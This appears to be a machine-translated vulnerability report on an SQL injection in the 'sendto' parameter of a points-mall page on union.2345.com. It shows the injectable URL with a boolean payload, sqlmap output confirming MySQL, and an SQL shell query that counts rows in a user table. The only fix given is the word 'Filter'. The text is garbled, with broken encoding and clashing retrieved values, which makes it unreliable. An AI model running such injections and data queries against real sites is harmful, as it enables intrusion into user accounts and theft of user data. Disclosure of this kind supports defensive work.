2345 filtering is required for SQL injection of a substation

2345 filtering is required for SQL injection of a substation

2345 SQL Injection for a substation

2345 grand League union.2345.com



Injection Point

Http://union.2345.com/jifen/mall/index.php? Category = & priceArea = & sendto = 1% 27% 20and % 20% 271% 27 = % 271



Parameter sendto



MySQL Injection

Sqlmap identified the following injection points with a total of 0 HTTP (s) requests:

---

Place: GET

Parameter: sendto

Type: boolean-based blind

Title: AND boolean-based blind-WHERE or HAVING clause

Payload: category = & priceArea = & sendto = 1 'AND 5387 = 5387 AND 'uyun' = 'uyun'

---

[13:17:55] [WARNING] changes made by tampering scripts are not supported ded in shown payload content (s)

[13:17:55] [INFO] testing MySQL

[13:17:55] [INFO] confirming MySQL

[13:17:55] [INFO] the back-end DBMS is MySQL

Web application technology: Apache 2.2.22

Back-end DBMS: MySQL> = 5.0.0

[13:17:55] [INFO] fetching current database

[13:17:55] [WARNING] running in a single-thread mode. Please consider usage of option '-- Threads' for faster data retrieval

[13:17:55] [INFO] retrieved:

[13:17:55] [WARNING] reflective value (s) found and filtering out

Union2345

Current database: 'union2345'



Affects federated registered users and designs users' fund security



Web application technology: Apache 2.2.22

Back-end DBMS: MySQL> = 5.0.0

[13:25:25] [INFO] calling MySQL shell. To quit type 'X' or 'q' and press ENTER

SQL-shell> select count (*) from all_user

[13:25:38] [INFO] fetching SQL SELECT statement query output: 'select count (*) from all_user'

[13:25:38] [WARNING] running in a single-thread mode. Please consider usage of option '-- Threads' for faster data retrieval

[13:25:38] [INFO] retrieved:

[13:25:38] [WARNING] reflective value (s) found and filtering out

4513

Select count (*) from all_user: '123'

SQL-shell>


 

Solution:

Filter